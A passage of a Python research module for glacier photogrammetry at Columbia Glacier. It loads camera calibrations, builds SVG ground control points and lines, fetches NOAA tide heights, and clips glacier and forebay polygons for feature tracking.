np.hstack((0, np.cumsum([len(x) for x in paths_service])))\n    station_calibration = load_calibrations(\n        station_estimate=station, station=station, merge=True, file_errors=False)\n    images = []\n    for i, service in enumerate(services):\n        index = indices[(indices >= service_breaks[i]) & (indices < service_breaks[i + 1])]\n        if not index.size:\n            continue\n        service_calibration = glimpse.helpers.merge_dicts(\n            station_calibration,\n            load_calibrations(path=paths[index[0]], camera=True, merge=True,\n            file_errors=file_errors))\n        if service_exif:\n            exif = glimpse.Exif(paths[index[0]])\n        for j in index:\n            basename = basenames[j]\n            calibrations = load_calibrations(image=basename,\n                viewdir=basename if viewdir else False,\n                station_estimate=station, merge=False, file_errors=False)\n            if calibrations['image']:\n                calibration = glimpse.helpers.merge_dicts(\n                    service_calibration, calibrations['image'])\n                anchor = True\n            else:\n                calibration = glimpse.helpers.merge_dicts(\n                    service_calibration,\n                    dict(viewdir=calibrations['station_estimate']['viewdir']))\n                anchor = False\n            if viewdir and calibrations['viewdir']:\n                calibration = glimpse.helpers.merge_dicts(\n                    calibration, calibrations['viewdir'])\n                if viewdir_as_anchor:\n                    anchor = True\n            if use_exif:\n                exif = exifs[j]\n            elif not service_exif:\n                exif = None\n            if KEYPOINT_PATH:\n                keypoint_path = os.path.join(KEYPOINT_PATH, basename + '.pkl')\n            else:\n                keypoint_path = None\n            image = glimpse.Image(\n                path=paths[j], cam=calibration, anchor=anchor, exif=exif,\n                datetime=None if use_exif else datetimes[j],\n                keypoints_path=keypoint_path)\n            images.append(image)\n    return images\n\ndef load_masks(images):\n    \"\"\"\n    Return a list of boolean land masks.\n\n    Images must all be from the same station.\n\n    Arguments:\n        images (iterable): Image objects\n    \"\"\"\n    # All images must be from the same station (for now)\n    station = parse_image_path(images[0].path)['station']\n    pattern = re.compile(station + r'_[0-9]{8}_[0-9]{6}[^\\/]*$')\n    is_station = [pattern.search(img.path) is not None for img in images[1:]]\n    assert all(is_station)\n    # Find all station svg with 'land' markup\n    imgsz = images[0].cam.imgsz\n    svg_paths = glob.glob(os.path.join(CG_PATH, 'svg', station + '_*.svg'))\n    markups = [glimpse.svg.parse_svg(path, imgsz=imgsz) for path in svg_paths]\n    land_index = np.where(['land' in markup for markup in markups])[0]\n    if len(land_index) == 0:\n        raise ValueError('No land masks found for station')\n    svg_paths = np.array(svg_paths)[land_index]\n    land_markups = np.array(markups)[land_index]\n    # Select svg files nearest to images, with preference within breaks\n    svg_datetimes = paths_to_datetimes(svg_paths)\n    svg_break_indices = np.array([_station_break_index(path)\n        for path in svg_paths])\n    img_datetimes = [img.datetime for img in images]\n    distances = glimpse.helpers.pairwise_distance_datetimes(\n        img_datetimes, svg_datetimes)\n    nearest_index = []\n    for i, img in enumerate(images):\n        break_index = _station_break_index(img.path)\n        same_break = np.where(break_index == svg_break_indices)[0]\n        if same_break.size > 0:\n            i = same_break[np.argmin(distances[i][same_break])]\n        else:\n            raise ValueError('No mask found within motion breaks for image', i)\n            i = np.argmin(distances[i])\n        nearest_index.append(i)\n    nearest = np.unique(nearest_index)\n    # Make masks and expand per image without copying\n    masks = [None] * len(images)\n    image_sizes = np.array([img.cam.imgsz for img in images])\n    sizes = np.unique(image_sizes, axis=0)\n    for i in nearest:\n        polygons = land_markups[i]['land'].values()\n        is_nearest = nearest_index == i\n        for size in sizes:\n            scale = size / imgsz\n            rpolygons = [polygon * scale for polygon in polygons]\n            mask = glimpse.helpers.polygons_to_mask(rpolygons, size=size).astype(np.uint8)\n            mask = sharedmem.copy(mask)\n            for j in np.where(is_nearest & np.all(image_sizes == size, axis=1))[0]:\n                masks[j] = mask\n    return masks\n\n# ---- Calibration controls ----\n\ndef svg_controls(img, svg=None, keys=None, correction=True, step=None):\n    \"\"\"\n    Return control objects for an Image.\n\n    Arguments:\n        img (Image): Image object\n        svg: Path to SVG file (str) or parsed result (dict).\n            If `None`, looks for SVG file 'svg/<image>.svg'.\n        keys (iterable): SVG layers to include, or all if `None`\n        correction: Whether control objects should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n    \"\"\"\n    if svg is None:\n        basename = parse_image_path(img.path)['basename']\n        svg = os.path.join(CG_PATH, 'svg', basename + '.svg')\n    controls = []\n    if isinstance(svg, (bytes, str)):\n        if not os.path.isfile(svg):\n            return controls\n        svg = glimpse.svg.parse_svg(svg, imgsz=img.cam.imgsz)\n    if keys is None:\n        keys = svg.keys()\n    for key in keys:\n        if key in svg:\n            if key == 'gcp':\n                controls.append(gcp_points(img, svg[key], correction=correction))\n            elif key == 'coast':\n                controls.append(coast_lines(img, svg[key], correction=correction, step=step))\n            elif key == 'terminus':\n                controls.append(terminus_lines(img, svg[key], correction=correction, step=step))\n            elif key == 'moraines':\n                controls.extend(moraines_mlines(img, svg[key], correction=correction, step=step))\n            elif key == 'horizon':\n                controls.append(horizon_lines(img, svg[key], correction=correction, step=step))\n    return controls\n\ndef gcp_points(img, markup, correction=True):\n    \"\"\"\n    Return ground control Points object for an Image.\n\n    Arguments:\n        img (Image): Image object\n        markup (dict): Parsed SVG layer\n        correction: Whether Points should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n    \"\"\"\n    uv = np.vstack(markup.values())\n    geo = glimpse.helpers.read_geojson(\n        os.path.join(CG_PATH, 'geojson', 'gcp.geojson'), key='id', crs=32606)\n    xyz = np.vstack((geo['features'][key]['geometry']['coordinates']\n        for key in markup))\n    return glimpse.optimize.Points(img.cam, uv, xyz, correction=correction)\n\ndef coast_lines(img, markup, correction=True, step=None):\n    \"\"\"\n    Return coast Lines object for an Image.\n\n    Arguments:\n        img (Image): Image object\n        markup (dict): Parsed SVG layer\n        correction (bool): Whether to set Lines to use elevation correction\n    \"\"\"\n    luv = tuple(markup.values())\n    geo = glimpse.helpers.read_geojson(\n        os.path.join(CG_PATH, 'geojson', 'coast.geojson'), crs=32606)\n    lxy = [feature['geometry']['coordinates'] for feature in geo['features']]\n    lxyz = [np.hstack((xy, sea_height(xy, t=img.datetime))) for xy in lxy]\n    return glimpse.optimize.Lines(img.cam, luv, lxyz, correction=correction, step=step)\n\ndef terminus_lines(img, markup, correction=True, step=None):\n    \"\"\"\n    Return terminus Lines object for an Image.\n\n    Arguments:\n        img (Image): Image object\n        markup (dict): Parsed SVG layer\n        correction: Whether Lines should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n    \"\"\"\n    luv = tuple(markup.values())\n    # HACK: Select terminus with matching date and preferred type\n    termini = Termini()\n    date_str = img.datetime.strftime('%Y-%m-%d')\n    features = [(feature, feature['properties']['type'])\n        for feature in termini\n        if feature['properties']['date'] == date_str]\n    type_order = ('aerometric', 'worldview', 'landsat-8', 'landsat-7', 'terrasar', 'tandem', 'arcticdem', 'landsat-5')\n    order = [type_order.index(f[1]) for f in features]\n    xy = features[np.argmin(order)[0]]['geometry']['coordinates']\n    xyz = np.hstack((xy, sea_height(xy, t=img.datetime)))\n    return glimpse.optimize.Lines(img.cam, luv, [xyz], correction=correction, step=step)\n\ndef horizon_lines(img, markup, correction=True, step=None):\n    \"\"\"\n    Return horizon Lines object for an Image.\n\n    Arguments:\n        img (Image): Image object\n        markup (dict): Parsed SVG layer\n        correction: Whether Lines should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n    \"\"\"\n    luv = tuple(markup.values())\n    station = parse_image_path(img.path)['station']\n    geo = glimpse.helpers.read_geojson(\n        os.path.join(CG_PATH, 'geojson', 'horizons', station + '.geojson'), crs=32606)\n    lxyz = [coords for coords in glimpse.helpers.geojson_itercoords(geo)]\n    return glimpse.optimize.Lines(img.cam, luv, lxyz, correction=correction, step=step)\n\ndef moraines_mlines(img, markup, correction=True, step=None):\n    \"\"\"\n    Return list of moraine Lines objects for an Image.\n\n    Arguments:\n        img (Image): Image object\n        markup (dict): Parsed SVG layer\n        correction: Whether Lines should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n    \"\"\"\n    date_str = img.datetime.strftime('%Y%m%d')\n    geo = glimpse.helpers.read_geojson(\n        os.path.join(CG_PATH, 'geojson', 'moraines', date_str + '.geojson'), key='id', crs=32606)\n    mlines = []\n    for key, moraine in markup.items():\n        luv = tuple(moraine.values())\n        xyz = geo['features'][key]['geometry']['coordinates']\n        mlines.append(glimpse.optimize.Lines(img.cam, luv, [xyz], correction=correction, step=step))\n    return mlines\n\ndef tide_height(t):\n    if isinstance(t, datetime.datetime):\n        t = [t]\n    t = np.asarray(t)\n    dt = datetime.timedelta(hours=1.5)\n    t_begin = np.nanmin(t).replace(minute=0, second=0, microsecond=0)\n    t_end = np.nanmax(t) + dt\n    # https://tidesandcurrents.noaa.gov/api/\n    params = dict(\n        format='json',\n        units='metric',\n        time_zone='gmt',\n        datum='MSL',\n        product='hourly_height',\n        station=9454240, # Valdez\n        begin_date=t_begin.strftime('%Y%m%d %H:%M'),\n        end_date=t_end.strftime('%Y%m%d %H:%M'))\n    r = requests.get('https://tidesandcurrents.noaa.gov/api/datagetter', params=params)\n    v = [float(item['v']) for item in r.json()['data']]\n    return np.interp(\n        [dti.total_seconds() for dti in t - t_begin],\n        np.linspace(0, 3600 * len(v[1:]), len(v)), v)\n\ndef sea_height(xy, t=None):\n    \"\"\"\n    Return the height of sea level relative to the WGS 84 ellipsoid.\n\n    Uses the EGM 2008 geoid height and the NOAA tide gauge in Valdez, Alaska.\n\n    Arguments:\n        xy (array): World coordinates (n, 2)\n        t (datetime): Datetime at which to estimate tidal height.\n            If `None`, tide is ignored in result.\n    \"\"\"\n    egm2008 = glimpse.Raster.read(os.path.join(CG_PATH, 'egm2008.tif'))\n    geoid = egm2008.sample(xy).reshape(-1, 1)\n    if t is not None:\n        if not isinstance(t, datetime.datetime) and len(tide) > 1:\n            raise ValueError('t must specify a single datetime')\n        tide = tide_height(t)[0]\n    else:\n        tide = 0\n    return geoid + tide\n\ndef synth_controls(img, step=None, directions=False):\n    image = glimpse.helpers.strip_path(img.path)\n    basename = os.path.join(CG_PATH, 'svg-synth', image)\n    controls = []\n    # Load svg\n    path = basename + '.svg'\n    if os.path.isfile(path):\n        svg = glimpse.svg.parse_svg(path, imgsz=img.cam.imgsz)\n        if 'points' in svg or 'lines' in svg or 'points-auto' in svg:\n            scam = glimpse.helpers.read_json(basename + '-synth.json')\n            simg = glimpse.Image(basename + '-synth.JPG', cam=scam)\n            if not directions:\n                depth = glimpse.Raster.read(basename + '-depth.tif')\n                scale = depth.n / img.cam.imgsz\n            # NOTE: Ignoring parallax potential\n        if 'points-auto' in svg:\n            # Length-2 paths traced from image to synthetic image\n            uv = np.vstack([x[0] for x in svg['points-auto'].values()])\n            suv = np.vstack([x[1] for x in svg['points-auto'].values()])\n            d = 1 if directions else depth.sample(suv * scale)\n            xyz = simg.cam.invproject(suv, directions=directions, depth=d)\n            points = glimpse.optimize.Points(cam=img.cam, uv=uv, xyz=xyz,\n                directions=directions, correction=False)\n            controls.append(points)\n        if 'points' in svg:\n            # Length-2 paths traced from image to synthetic image\n            uv = np.vstack([x[0] for x in svg['points'].values()])\n            suv = np.vstack([x[1] for x in svg['points'].values()])\n            d = 1 if directions else depth.sample(suv * scale)\n            xyz = simg.cam.invproject(suv, directions=directions, depth=d)\n            points = glimpse.optimize.Points(cam=img.cam, uv=uv, xyz=xyz,\n                directions=directions, correction=False)\n            controls.append(points)\n        if 'lines' in svg:\n            for layer in svg['lines'].values():\n                # Group with paths named 'image*' and 'synth*'\n                uvs = [layer[key] for key in layer if key.find('image') == 0]\n                suvs = [layer[key] for key in layer if key.find('synth') == 0]\n                depths = [1 if directions else depth.sample(suv * scale)\n                    for suv in suvs]\n                xyzs = [simg.cam.invproject(suv, directions=directions, depth=d)\n                    for suv, d in zip(suvs, depths)]\n                lines = glimpse.optimize.Lines(cam=img.cam, uvs=uvs, xyzs=xyzs,\n                    step=step, directions=directions, correction=False)\n                controls.append(lines)\n    return controls\n\n# ---- Control bundles ----\n\ndef station_svg_controls(station, size=1, force_size=False, keys=None,\n    svgs=None, correction=True, step=None, station_calib=False, camera_calib=True,\n    synth=True):\n    \"\"\"\n    Return all SVG control objects for a station.\n\n    Arguments:\n        station (str): Station identifier\n        size: Image scale factor (number) or image size in pixels (nx, ny)\n        force_size (bool): Whether to force `size` even if different aspect ratio\n            than original size.\n        keys (iterable): SVG layers to include\n        correction: Whether control objects should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n        station_calib (bool): Whether to load station calibration. If `False`,\n            falls back to the station estimate.\n        camera_calib (bool): Whether to load camera calibrations. If `False`,\n            falls back to the EXIF estimate.\n\n    Returns:\n        list: Image objects\n        list: Control objects (Points, Lines)\n        list: Per-camera calibration parameters [{'viewdir': True}, ...]\n    \"\"\"\n    paths = glob.glob(os.path.join(CG_PATH, 'svg', station + '*.svg'))\n    if synth:\n        paths += glob.glob(os.path.join(CG_PATH, 'svg-synth', station + '*.pkl'))\n        paths += glob.glob(os.path.join(CG_PATH, 'svg-synth', station + '*.svg'))\n    basenames = np.unique([glimpse.helpers.strip_path(path) for path in paths])\n    images, controls, cam_params = [], [], []\n    for basename in basenames:\n        calibration = load_calibrations(basename, camera=camera_calib,\n            station=station_calib, station_estimate=not station_calib, merge=True)\n        img_path = find_image(basename)\n        img = glimpse.Image(img_path, cam=calibration)\n        control = []\n        if svgs is None or basename in svgs:\n            control += svg_controls(img, keys=keys, correction=correction, step=step)\n        if synth:\n            control += synth_controls(img, step=None, directions=False)\n        if control:\n            for x in control:\n                x.resize(size, force=force_size)\n            images.append(img)\n            controls.extend(control)\n            cam_params.append(dict(viewdir=True))\n    return images, controls, cam_params\n\ndef camera_svg_controls(camera, size=1, force_size=False, keys=None,\n    svgs=None, correction=True, step=None, station_calib=False,\n    camera_calib=False, synth=True):\n    \"\"\"\n    Return all SVG control objects available for a camera.\n\n    Arguments:\n        camera (str): Camera identifer\n        size: Image scale factor (number) or image size in pixels (nx, ny)\n        force_size (bool): Whether to force `size` even if different aspect ratio\n            than original size.\n        keys (iterable): SVG layers to include\n        svgs (iterable): SVG basenames to include\n        correction: Whether control objects should use elevation correction (bool)\n            or arguments to `glimpse.helpers.elevation_corrections()`\n        station_calib (bool): Whether to load station calibration. If `False`,\n            falls back to the station estimate.\n        camera_calib (bool): Whether to load camera calibrations. If `False`,\n            falls back to the EXIF estimate.\n\n    Returns:\n        list: Image objects\n        list: Control objects (Points, Lines)\n        list: Per-camera calibration parameters [{'viewdir': True}, ...]\n    \"\"\"\n    paths = glob.glob(os.path.join(CG_PATH, 'svg', '*.svg'))\n    if synth:\n        paths += glob.glob(os.path.join(CG_PATH, 'svg-synth', '*.pkl'))\n        paths += glob.glob(os.path.join(CG_PATH, 'svg-synth', '*.svg'))\n    basenames = np.unique([glimpse.helpers.strip_path(path) for path in paths])\n    images, controls, cam_params = [], [], []\n    for basename in basenames:\n        ids = parse_image_path(basename, sequence=True)\n        if ids['camera'] == camera:\n            calibration = load_calibrations(basename, camera=camera_calib,\n                station=station_calib, station_estimate=not station_calib, merge=True)\n            img_path = find_image(basename)\n            img = glimpse.Image(img_path, cam=calibration)\n            control = []\n            if svgs is None or basename in svgs:\n                control += svg_controls(img, keys=keys, correction=correction, step=step)\n            if synth:\n                control += synth_controls(img, step=None, directions=False)\n            if control:\n                for x in control:\n                    x.resize(size, force=force_size)\n                images.append(img)\n                controls.extend(control)\n                cam_params.append(dict(viewdir=True))\n    return images, controls, cam_params\n\ndef camera_motion_matches(camera, size=None, force_size=False,\n    station_calib=False, camera_calib=False):\n    \"\"\"\n    Returns all motion Matches objects available for a camera.\n\n    Arguments:\n        camera (str): Camera identifier\n        size: Image scale factor (number) or image size in pixels (nx, ny)\n        force_size (bool): Whether to force `size` even if different aspect ratio\n            than original size.\n        station_calib (bool): Whether to load station calibration. If `False`,\n            falls back to the station estimate.\n        camera_calib (bool): Whether to load camera calibrations. If `False`,\n            falls back to the EXIF estimate.\n\n    Returns:\n        list: Image objects\n        list: Matches objects\n        list: Per-camera calibration parameters [{}, {'viewdir': True}, ...]\n    \"\"\"\n    motion = glimpse.helpers.read_json(os.path.join(CG_PATH, 'motion.json'))\n    sequences = [item['paths'] for item in motion\n        if parse_image_path(item['paths'][0], sequence=True)['camera'] == camera]\n    all_images, all_matches, cam_params = [], [], []\n    for sequence in sequences:\n        paths = [find_image(path) for path in sequence]\n        cams = [load_calibrations(path,  camera=camera_calib,\n            station=station_calib, station_estimate=not station_calib, merge=True)\n            for path in paths]\n        images = [glimpse.Image(path, cam=cam)\n            for path, cam in zip(paths, cams)]\n        matches = [load_motion_match(images[i], images[i + 1])\n            for i in range(len(sequence) - 1)]\n        if size is not None:\n            for match in matches:\n                match.resize(size, force=force_size)\n        all_images.extend(images)\n        all_matches.extend(matches)\n        cam_params.extend([dict()] + [dict(viewdir=True)] * (len(sequence) - 1))\n    return all_images, all_matches, cam_params\n\ndef build_sequential_matches(images, detect=dict(), match=dict()):\n    \"\"\"\n    Returns Matches objects for sequential Image pairs.\n\n    Arguments:\n        images (iterable): Image objects\n        detect (dict): Arguments passed to `glimpse.optimize.detect_keypoints()`\n        match (dict): Arguments passed to `glimpse.optimize.match_keypoints()`\n    \"\"\"\n    keypoints = [glimpse.optimize.detect_keypoints(img.read(), **detect) for img in images]\n    matches = []\n    for i in range(len(images) - 1):\n        uvA, uvB = glimpse.optimize.match_keypoints(keypoints[i], keypoints[i + 1], **match)\n        matches.append(glimpse.optimize.Matches(\n            cams=(images[i].cam, images[i + 1].cam), uvs=(uvA, uvB)))\n    return matches\n\ndef load_motion_match(imgA, imgB):\n    \"\"\"\n    Returns motion Matches object for an Image pair.\n\n    Arguments:\n        imgA (Image): Image object\n        imgB (Image): Image object\n    \"\"\"\n    basename = glimpse.helpers.strip_path(imgA.path) + '-' + glimpse.helpers.strip_path(imgB.path)\n    path = os.path.join(CG_PATH, 'motion', basename + '.pkl')\n    match = glimpse.helpers.read_pickle(path)\n    match.cams = (imgA.cam, imgB.cam)\n    return match\n\n# ---- Calibrations ----\n\ndef load_calibrations(path=None, station_estimate=False, station=False,\n    camera=False, image=False, viewdir=False, merge=False, file_errors=True):\n    \"\"\"\n    Return camera calibrations.\n\n    Arguments:\n        path (str): Image basename or path\n        station_estimate: Whether to load station estimate (bool) or\n            station identifier to load (str).\n            If `True`, the station identifier is parsed from `path`.\n            If `path` or `image` specified, `viewdir` is based on the position\n            of the image in the motion break sequence.\n        station: Whether to load station (bool) or\n            station identifier to load (str).\n            If `True`, the station identifier is parsed from `path`.\n            viewdir is loaded from station_estimate.\n        camera: Whether to load camera (bool) or\n            camera identifier to load (str).\n            If `True`, the camera identifier is parsed from `path`.\n        image: Whether to load image (bool) or\n            image to load (str).\n            If `True`, the image basename is parsed from `path`.\n        viewdir: Whether to load view direction (bool) or\n            view direction to load (str).\n            If `True`, the image basename is parsed from `path`.\n        merge (bool): Whether to merge calibrations, in the order\n            station_estimate, station, camera, image, viewdir\n        file_errors (bool): Whether to raise an error if a requested calibration\n            file is not found\n    \"\"\"\n    def _try_except(fun, arg, **kwargs):\n        try:\n            return fun(arg, **kwargs)\n        except FileNotFoundError as e:\n            if file_errors:\n                raise e\n            else:\n                return None\n    if path:\n        ids = parse_image_path(path, sequence=(camera is True))\n        if station_estimate is True:\n            station_estimate = ids['station']\n        if station is True:\n            station = ids['station']\n        if camera is True:\n            camera = ids['camera']\n        if image is True:\n            image = ids['basename']\n        if viewdir is True:\n            viewdir = ids['basename']\n    calibrations = dict()\n    if station_estimate:\n        img_path = image if isinstance(image, str) else path if path else None\n        calibrations['station_estimate'] = _try_except(_load_station_estimate, station_estimate, path=img_path)\n    if station:\n        calibrations['station'] = _try_except(_load_station_estimate, station, path=path)\n        station_calib = _try_except(_load_station, station)\n        if station_calib and 'xyz' in station_calib:\n            calibrations['station']['xyz'] = station_calib['xyz']\n    if camera:\n        calibrations['camera'] = _try_except(_load_camera, camera)\n    if image:\n        calibrations['image'] = _try_except(_load_image, image)\n    if viewdir:\n        calibrations['viewdir'] = _try_except(_load_viewdir, viewdir)\n    if merge:\n        return merge_calibrations(calibrations)\n    else:\n        return calibrations\n\ndef merge_calibrations(calibrations, keys=('station_estimate', 'station', 'camera', 'image', 'viewdir')):\n    \"\"\"\n    Merge camera calibrations.\n\n    Arguments:\n        calibrations (iterable): Dictionaries of calibration parameters\n        keys (iterable): Calibration types, in order from lowest to highest\n            overwrite priority\n    \"\"\"\n    calibration = dict()\n    for key in keys:\n        if key in calibrations and calibrations[key]:\n            calibration = glimpse.helpers.merge_dicts(calibration, calibrations[key])\n    return calibration\n\ndef _load_station_estimate(station, path=None):\n    stations = Stations()\n    feature = stations[station]\n    viewdir = feature['properties']['viewdir']\n    i = _station_break_index(path) if path else 0\n    if i and 'viewdir' in feature['properties']['breaks'][i - 1]:\n        viewdir = feature['properties']['breaks'][i - 1]['viewdir']\n    return dict(\n        xyz=np.reshape(feature['geometry']['coordinates'], -1),\n        viewdir=viewdir)\n\ndef _load_station(station):\n    station_path = os.path.join(CG_PATH, 'stations', station + '.json')\n    return glimpse.helpers.read_json(station_path)\n\ndef _load_camera(camera):\n    camera_path = os.path.join(CG_PATH, 'cameras', camera + '.json')\n    return glimpse.helpers.read_json(camera_path)\n\ndef _load_image(path):\n    basename = glimpse.helpers.strip_path(path)\n    image_path = os.path.join(CG_PATH, 'images', basename + '.json')\n    return glimpse.helpers.read_json(image_path)\n\ndef _load_viewdir(path):\n    basename = glimpse.helpers.strip_path(path)\n    viewdir_path = os.path.join(CG_PATH, 'viewdirs', basename + '.json')\n    return glimpse.helpers.read_json(viewdir_path)\n\ndef write_image_viewdirs(images, viewdirs=None):\n    \"\"\"\n    Write Image view directions to file.\n\n    Arguments:\n        images (iterable): Image objects\n        viewdirs (iterable): Camera view directions to write.\n            If `None`, these are read from `images[i].cam.viewdir`.\n    \"\"\"\n    for i, img in enumerate(images):\n        basename = glimpse.helpers.strip_path(img.path)\n        path = os.path.join(CG_PATH, 'viewdirs', basename + '.json')\n        if viewdirs is None:\n            d = dict(viewdir=tuple(img.cam.viewdir))\n        else:\n            d = dict(viewdir=tuple(viewdirs[i]))\n        glimpse.helpers.write_json(d, path=path)\n\n# ---- Tracking ----\n\n@lru_cache(maxsize=1)\ndef Termini():\n    \"\"\"\n    Return terminus traces.\n    \"\"\"\n    path = os.path.join(CG_PATH, 'geojson', 'termini.geojson')\n    geo = glimpse.helpers.read_geojson(path, crs=32606)['features']\n    # Check that all termini run west to east\n    bad = []\n    for f in geo:\n        x_start = f['geometry']['coordinates'][0, 0]\n        x_end = f['geometry']['coordinates'][-1, 0]\n        if x_start > x_end:\n            bad.append((f['properties']['date'], f['properties']['type']))\n    if bad:\n        raise ValueError('Some termini traced east to west:' + str(bad))\n    # Sort by date, then type\n    geo.sort(key=lambda x: (x['properties']['date'], x['properties']['type']))\n    return geo\n\n@lru_cache(maxsize=1)\ndef Glacier():\n    \"\"\"\n    Return the maximal glacier extent.\n    \"\"\"\n    path = os.path.join(CG_PATH, 'geojson', 'glacier.geojson')\n    geo = glimpse.helpers.read_geojson(path, crs=32606)\n    return geo['features'][0]['geometry']['coordinates'][0]\n\n@lru_cache(maxsize=1)\ndef Coast():\n    \"\"\"\n    Return the forebay coastlines.\n    \"\"\"\n    path = os.path.join(CG_PATH, 'geojson', 'coast.geojson')\n    geo = glimpse.helpers.read_geojson(path, crs=32606, key='id')\n    return {key: geo['features'][key]['geometry']['coordinates'] for key in geo['features']}\n\n@lru_cache(maxsize=1)\ndef Forebay():\n    \"\"\"\n    Return the forebay polygon.\n    \"\"\"\n    path = os.path.join(CG_PATH, 'geojson', 'forebay.geojson')\n    geo = glimpse.helpers.read_geojson(path, crs=32606)\n    return geo['features'][0]['geometry']['coordinates'][0]\n\ndef parse_dem_path(path):\n    \"\"\"\n    Return datetime and type from DEM path.\n    \"\"\"\n    datestr = re.findall(r'([0-9]{8})', glimpse.helpers.strip_path(path))[0]\n    # HACK: Aerial and satellite imagery taken around local noon (~ 22:00 UTC)\n    t = datetime.datetime.strptime(datestr + str(22), '%Y%m%d%H')\n    typestr = re.findall(r'dem-([^\\/]+)', path)[0]\n    return dict(datetime=t, type=typestr)\n\ndef get_dem_terminus(t, demtype):\n    \"\"\"\n    Return the terminus corresponding to a DEM path.\n    \"\"\"\n    termini = Termini()\n    termini_keys = [(f['properties']['date'], f['properties']['type'])\n        for f in termini]\n    i = termini_keys.index((t.strftime('%Y-%m-%d'), demtype))\n    return termini[i]['geometry']['coordinates']\n\ndef get_nearest_terminus(t):\n    \"\"\"\n    Return the terminus nearest a datetime.\n    \"\"\"\n    types = ('aerometric', 'arcticdem', 'ifsar', 'tandem',\n        'landsat-8', 'landsat-7', 'terrasar')\n    termini = [f for f in Termini() if\n        len(f['properties']['date']) == 10 and\n        f['properties']['type'] in types]\n    termini.sort(key=lambda x: (x['properties']['date'],\n        types.index(x['properties']['type'])))\n    datetimes = [datetime.datetime.strptime(\n        f['properties']['date'] + '22', '%Y-%m-%d%H') for f in termini]\n    dt = np.abs(np.array(datetimes) - t)\n    i = np.where(np.min(dt) == dt)[0][0]\n    return termini[i]['geometry']['coordinates']\n\ndef clip_terminus_with_coast(line):\n    \"\"\"\n    Clip a terminus with the west and east coastlines.\n    \"\"\"\n    # Convert to shapely format\n    coast = Coast()\n    cline_west = shapely.geometry.LineString(coast['west'])\n    cline_east = shapely.geometry.LineString(coast['east'])\n    tline = shapely.geometry.LineString(line)\n    # Cut terminus at west coastline\n    tline = shapely.ops.split(tline, cline_west.buffer(distance=100))[-1]\n    # Cut terminus at east coastline\n    tline = shapely.ops.split(tline, cline_east.buffer(distance=100))[0]\n    return np.asarray(tline.coords)\n\ndef clip_glacier_with_terminus(line):\n    \"\"\"\n    Clip glacier extent with a terminus.\n    \"\"\"\n    gpoly = shapely.geometry.Polygon(shell=Glacier())\n    # Extend western edge past polygon boundary\n    wpoint = shapely.geometry.Point(line[0])\n    west_snaps = shapely.ops.nearest_points(wpoint, gpoly.exterior)\n    if west_snaps[0] != west_snaps[1]:\n        new_west = west_snaps[1].coords\n        d = new_west - line[0]\n        d /= np.linalg.norm(d)\n        line = np.row_stack((new_west + d, line))\n    # Extend eastern edge past polygon boundary\n    epoint = shapely.geometry.Point(line[-1])\n    east_snaps = shapely.ops.nearest_points(epoint, gpoly.exterior)\n    if east_snaps[0] != east_snaps[1]:\n        new_east = east_snaps[1].coords\n        d = new_east - line[-1]\n        d /= np.linalg.norm(d)\n        line = np.row_stack((line, new_east + d))\n    tline = shapely.geometry.LineString(line)\n    # Split glacier at terminus\n    splits = shapely.ops.split(gpoly, tline)\n    if len(splits) < 2:\n        raise ValueError('Glacier polygon not split by terminus')\n    else:\n        areas = [split.area for split in splits]\n        return np.asarray(splits[np.argmax(areas)].exterior.coords)\n\ndef load_glacier_polygon(t, demtype=None):\n    \"\"\"\n    Return the glacier extent at a datetime.\n    \"\"\"\n    if demtype is not None:\n        line = get_dem_terminus(t, demtype=demtype)\n    else:\n        line = get_nearest_terminus(t)\n    cline = clip_terminus_with_coast(line)\n    return clip_glacier_with_terminus(cline)\n\ndef load_forebay_polygon(glacier):\n    \"\"\"\n    Return the forebay extent for a given glacier extent.\n    \"\"\"\n    gpoly = shapely.geometry.Polygon(shell=glacier)\n    fpoly = shapely.geometry.Polygon(shell=Forebay())\n    diff = fpoly.difference(gpoly)\n    return np.asarray(diff.exterior.coords)\n\ndef intersect_polygons(polygons):\n    \"\"\"\n    Return intersection of polygons.\n    \"\"\"\n    shapes = [shapely.geometry.Polygon(shell=xy) for xy in polygons]\n    shape = shapes[0]\n    for i in range(1, len(shapes)):\n        shape = shape.intersection(shapes[i])\n    if np.iterable(shape):\n        i = np.argmax([poly.area for poly in shape])\n        shape = shape[i]\n    return np.asarray(shape.exterior.coords)\n\ndef select_track_points(xy, images, polygon, dem, max_distance):\n    \"\"\"\n    Return track points mask for a set of starting images.\n\n    Returns:\n        array: Coordinates of points to track (n, 2)\n        array: Visibility mask for each image (n, m)\n    \"\"\"\n    # In DEM, in polygon, and DEM not NaN\n    z = dem.sample(xy, bounds_error=False, fill_value=np.nan)\n    mask = ~np.isnan(z) & glimpse.helpers.points_in_polygon(xy, polygon)\n    # Visible in one or more images\n    xyz = np.column_stack((xy, z))[mask]\n    visible = np.tile(mask.reshape(-1, 1), reps=(1, len(images)))\n    for i, img in enumerate(images):\n        uv = img.cam.project(xyz, correction=True)\n        # In image frame\n        visible[mask, i] &= img.cam.inframe(uv)\n        # In range\n        distance = np.linalg.norm(xyz[:, 0:2] - img.cam.xyz[0:2], axis=1)\n        visible[mask, i] &= distance < max_distance\n        # In DEM viewshed\n        viewshed = glimpse.Raster(\n            Z=dem.viewshed(img.cam.xyz), x=dem.xlim, y=dem.ylim)\n        visible[mask, i] &= viewshed.sample(xyz[:, 0:2], order=1) > 0.99\n        # Not in land mask\n        land_mask = glimpse.Raster(load_masks([img])[0])\n        visible[mask, i] &= land_mask.sample(uv, order=1, bounds_error=False,\n            fill_value=1.0) == 0\n    return visible\n","repo_name":"ezwelty/glimpse-cg","sub_path":"cg.py","file_name":"cg.py","file_ext":"py","file_size_in_byte":41801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
